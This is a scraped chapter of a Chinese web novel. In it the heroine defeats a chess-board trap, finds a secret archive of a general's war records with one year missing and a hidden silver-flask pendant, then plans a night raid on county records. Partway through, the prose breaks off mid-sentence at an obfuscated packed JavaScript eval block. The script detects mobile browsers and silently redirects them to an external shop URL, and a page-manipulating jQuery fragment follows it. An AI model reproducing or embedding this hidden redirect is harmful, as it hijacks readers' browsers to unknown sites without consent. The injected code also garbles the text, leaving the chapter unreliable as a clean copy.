文趣网 > 其他小说 > 替身造反手册 > 8. 银壶
    发泄之后,长息闭上眼睛,放缓呼吸,思考起破解之法。

    石门曾写“不可贪胜”,是否是一种提示?可若是和棋局相关,那说了等于没说,毕竟自己对象棋狗屁不通。

    她睁开眼。棋盘是镶嵌在玉石台上的,边缘处有明显的缝隙。整张棋盘都落了一层薄灰,仔细观察后,却能看到除了自己方才胡乱下出的一步“兵”,还有一处不见灰尘,只留下一圆形的印记。

    此处原应有一枚棋子。

    有人动过棋局,这是一盘专门设下的杀局。

    线索太少了,时间也太少了。按照自己之前的推算,长息在棋盘上还有两着的机会。走棋、落子、盔甲兵出招、墙壁移动,这之中一定由同一个机关连动。

    长息蹲下平视棋盘,尽力把自己卡在两名盔甲兵的中间。她再次拿起一枚兵,随意落子。

    盔甲兵的剑声与墙壁移动巨响依此传来。长息一动不动地蹲在玉石台前,死死盯住棋盘,长剑舞动,削下了她的一缕额发。

    棋盘不是锁死的。刚刚那一着,棋盘像是悬起一丝缝隙,又因落子被压下去。

    既然阳关大道不让她走,那她就走旁门左道。

    她微微起身,右手掏出短刀,左手持□□直接将所有棋子挥至黑方一侧。身旁的盔甲兵抬起长剑,而棋盘边缘不出所料地再度露出缝隙。

    长息看准时机,用力将刀尖插进棋盘边缘的缝隙中。

    盔甲兵的动作卡顿,继而连带着玉石台和棋盘猛烈地震动起来。长息死死攥住短刀,用尽全身力气将刀身插入。刀身随着她的撬动微微弯曲,却丝毫没有要断裂的意思。

    棋盘缓慢又不可逆地发生倾斜,持续不断的震动令长息手心发麻,四把长剑已聚至她的头顶,眼看就要劈下。

    刀身已完全嵌入棋盘之下,棋盘周围的缝隙不断扩大,长息转而将左手的□□插入,往斜上方撬动棋盘。

    玉石台内部传出刺耳的巨大摩擦声,盔甲兵的动作不再整齐,反而不受控地摇动起来。

    “铛——”

    一把长剑直插棋盘正中,盘碎而棋子坠。棋盘下方的结构完全暴露出来——

    铜制连杆交错,齿轮咬死,几颗玉棋子卡在其中微微颤动,霎时传出一声闷沉的断裂声。

    沉寂一瞬之后,只听轰隆巨响接连而起,盔甲兵的动作被彻底锁死,三面石壁接连后退。

    面向长息的那面石墙撤出一道石门,密室已开。

    冷冽的空气挟着油墨的味道传入石室,长息低头看了一眼倾覆碎裂的棋盘,捡起不知何时滚落在地的油灯,进入了最终的密室。

    ——

    长息没想到找这一间密室竟耗费了她如此多的心力,甚至濒临死亡。真进来之后,她反倒觉得不耐烦起来,原本的期待也大打折扣。

    她暗想,哪怕风长息本人在这里,她都不会有什么感觉了。

    最终的密室相比于刚刚的棋盘石室,已然宽敞不少。长息手中的油灯逐渐恢复原本的亮度,灯火照亮密室——

    只见这密室无窗,三面均是摆满书卷的书架,正中的小桌上摆着一盏灭掉的长明灯、一副纸笔。

    这正是陈七九拿走令牌的那间暗室。

    棋盘杀局的设局者是偷走令牌的陈七九、引她入室的老何,还是另有其人?

    长息的脑袋想不出答案,身体已经在密室中搜寻起来。

    长息点燃桌面的长明灯,小桌上的纸笔静静地存放着,仿佛在等待谁人前来书写。她不由自主地想到风长息,想到初次见到她画像的场景。

    枢璇将军风长息。此封号星玉为名,不落窠臼,有股超脱武将的雅致。

    你曾在这里留下过很多文字吗?长息抚过桌面的纸笔,暗自道。

    长息走到一旁,在书架间流连,此处几乎都是史书和军卷,大小规格的书卷都被妥妥当当地放置。她对太多年前的事情不感兴趣,几经翻阅,被一组规格相同的军卷吸引。

    这套《定西战录》中详细记载着西北边境数年间大大小小的战事。从战术安排到粮草配给,可以说是事无巨细。

    从署名和字迹来看,都是风长息一人写下的。军卷按照年份摆放,从通瑞十六年记录到了通瑞二十四年。每一本的末尾,还记录着她的的复盘和自省。

    按照莫峥的说法,现在是通瑞二十八年,与长息记忆中的“宝应二十八年”只有年号之差,自己是新帝登基初年生人,不知风长息是否也一样?

    如果她与自己同为二十八岁的话,那风长息便是十六岁就上了战场。而从她草草翻过的记载来看,风长息十八岁开始成为主将,且是位常胜将军。

    年少有为、战功赫赫,长息想象不到这些军卷的主人做了什么才走向英年早逝、声名狼藉的结局。

    她总是在各种恰当或不恰当的时候不受控制地想到风长息。对风长息了解愈深,她的心情就愈复杂。

    她不能嘴硬说不羡慕风长息的人生,毕竟风长息强大且富有,更曾声名显赫。可长息不是浅薄到只会艳羡的酸鬼,她知道拥有什么就要用同等重要的东西去换。

    那你失去了什么,风长息?除了生命,你还曾献出什么?

    长息摩挲着书卷的背脊,咀嚼着这股难以消散的酸涩。她对风长息是有怨的,仿佛自己的灾祸也有她的一份因果业力。

    可自己本身也要死在那场黑沙地狱中,如果不来成为第二个风长息,她的魂魄要飘荡去哪呢?

    她们如此相像,如蛛网上的两只小虫,一只触手微动,另一只就要被连带着震颤。谈不上忮忌或喜恶,却似软刺在喉。

    长息深呼吸了两口,努力打断自己的思绪。一定还能找到什么,她确信,风长息肯定留下了什么。

    长息开始从头翻阅军卷,手指都沾上了一层滑腻的细灰。通瑞十六年、通瑞十七年、通瑞十八年……

    通瑞二十年、通瑞二十一年、通瑞二十三年……

    长息以为自己眼花了,便再次确认军卷的年份。“通瑞二十一年,后面应该是……”长息愣住,“通瑞二十三年?少了一年?”

    通瑞二十二年没有任何一本军卷。

    庞杂的军卷中,有的年份战事频繁,有的年份相对和平,但按照风长息的行文风格,她总会记录一些什么细枝末节的东西。

    书架罗列得很满,好像根本没给这一年的记录留下位置。是风长息故意隐去的吗?

    长息想不明白,欲把手中的几本军卷放置回去,接过书卷放到一半却塞不回去了。她疑惑地把书卷重新抽出,只见书架上出现了一件小物。

    她伸手掏出,是一项链。想必是书架上有一翻转机关,只有把邻近的几本书拿出,项链才得以翻转而出。

    这项链由黑色细皮绳串着,吊坠通体银白,形似小壶,壶身刻有流转的云纹,正中的朱红色宝石好似一滴鲜血。

    长息摆弄了一下这小银壶吊坠,内里有些水声,壶口可被旋开。她稍微拧动了一下壶口又将其复原,总觉得现在不是打开它的时候。

    项链是特地留给发现书卷缺失之人的。思索片刻,长息把项链戴上脖颈,藏进了衣领。

    ——

    密室的出口倒是好找,长息把书架顶端的瓷瓶一转,书架便旋转出了一道小门。她顺着台阶上行,尽头又是挂了那双凤衔璧青铜板。

    长息了然,用短刀的刀柄开了锁,门一开,竟又回到了地下一层的兵器库。

    只不过她当初是从北墙打开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701887|208201||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    锁经由密道下楼,现在是直接从南墙出来的。

    “那我当初是不是开错锁了啊?”长息无奈地暗道,“绕这么大圈子,早知道先摸南墙了。”

    烤鸭已经和兵器库的守卫混熟了,正扯着人的靴筒玩。长息把油灯挂回墙壁,招呼着烤鸭上楼了。

    再次来到议事厅,只见将领们一言不发地围坐。长息估摸了一下时间,从她拉响铜铃到从密室出来,约莫半个多时辰了。

    “纪律性尚可,孺子可教!”见没有一个将领离席,她在心头碎碎念。

    长息在一旁先给自己倒了杯茶一饮而尽,又是大剌剌地往主位一坐,开门见山道:“通瑞二十二年发生了什么?”

    议事厅又是一副面面相觑的场景,不知是不是这趟密室之行令长息窝火,眼见这些人哑口的样子她就来气。

    她果然当不了孔夫子,也教不出孺子!

    “怪了,我竟想不起这一年发生了什么事。“高大的年轻女子开口,莫峥曾告诉长息她叫骆遇泉。

    陈七九开口:“我军于通瑞二十一年和通瑞二十三年均有大捷,通瑞二十二年,似乎着实没有战事。”

    “魏宅是这一年改建完成的。”干瘪的眼镜老头开口,他名为魏赭,是魏宅名义上的主人。

    按照风长息的《定西战录》所记载,从通瑞十六年起,她几乎是连年征战。军卷厚薄有差异,但哪怕是最为安定的通瑞二十四年,她都没有草草带过。

    更何况,风长息连将士打架斗殴都一本正经地记下来了。凭空少一年,实在说不通。

    反观议事厅众人的表现,倒也有些此地无银三百两的意味。

    长息歪头,摸着抹额思考。直接问没人说是吧,那好,她自己一样能找到真相。

    “今日议事就到此,诸位请回吧。”长息开口,“莫峥留下。”

    众人散去,除了老何和陈七九,无人向长息作揖行礼。她倒也不在乎,反正现在将军之位她坐定,有路子利用,受不受尊重又有什么所谓?

    更何况她自己也够没礼貌的,拉完铜铃让所有人干等了半天。

    长息特地看了一眼老何,不知她能否猜到自己已进入了密室。

    “莫峥,今夜叫上骆闻泉,我们去一趟县衙。”待只剩莫峥一人,长息吩咐道。

    “去县衙?”莫峥掏出手帕帮长息擦去了她脸上干涸的细小血渍,疑惑道,“天色已晚,你有何事?”

    “我要去偷县志。”长息神神秘秘地凑到莫峥耳边,用手捂住嘴道,“先别告诉骆遇泉,我们临走时叫她就是了。”

    “是。”莫峥应下,话音未落,便被长息拉着往外走。

    只听她又开始没正形:“饿死我了!快给我口饭吧!”

    一旁的烤鸭就像听得懂人话一样,长息一说吃饭,它在一旁也兴奋地吠叫起来。

    莫峥不知道这一人一狗方才究竟干嘛去了,她费了好多面子和口舌,才让一屋子人留下。

    不过……莫峥瞥了长息一眼,她又是在哪里受了伤?她真的完全相信自己了吗?莫峥猜不透她,只能暗自抚慰自己身正不怕影子斜,既然答应了帮她,就会帮到底。

    更何况,万一这也在帮自己、帮风长息呢?

    两人一狗来到小厨房,长息倒是不挑嘴,拿起冷包子就人一口狗一口地吃起来。

    “我找到了风长息的密室。”长息见四下无人,开口道,“看到了她写的军卷,唯独少了通瑞二十二年。”

    长息又和盘托出了,倒是平息了莫峥心头害怕不被信任的胆怯。她们都不是能轻易相信他人的人,可如今危如累卵,不如就把这没来由的信任当作赌注。于是莫峥道:

    “通瑞二十二年,我知道发生了什么。”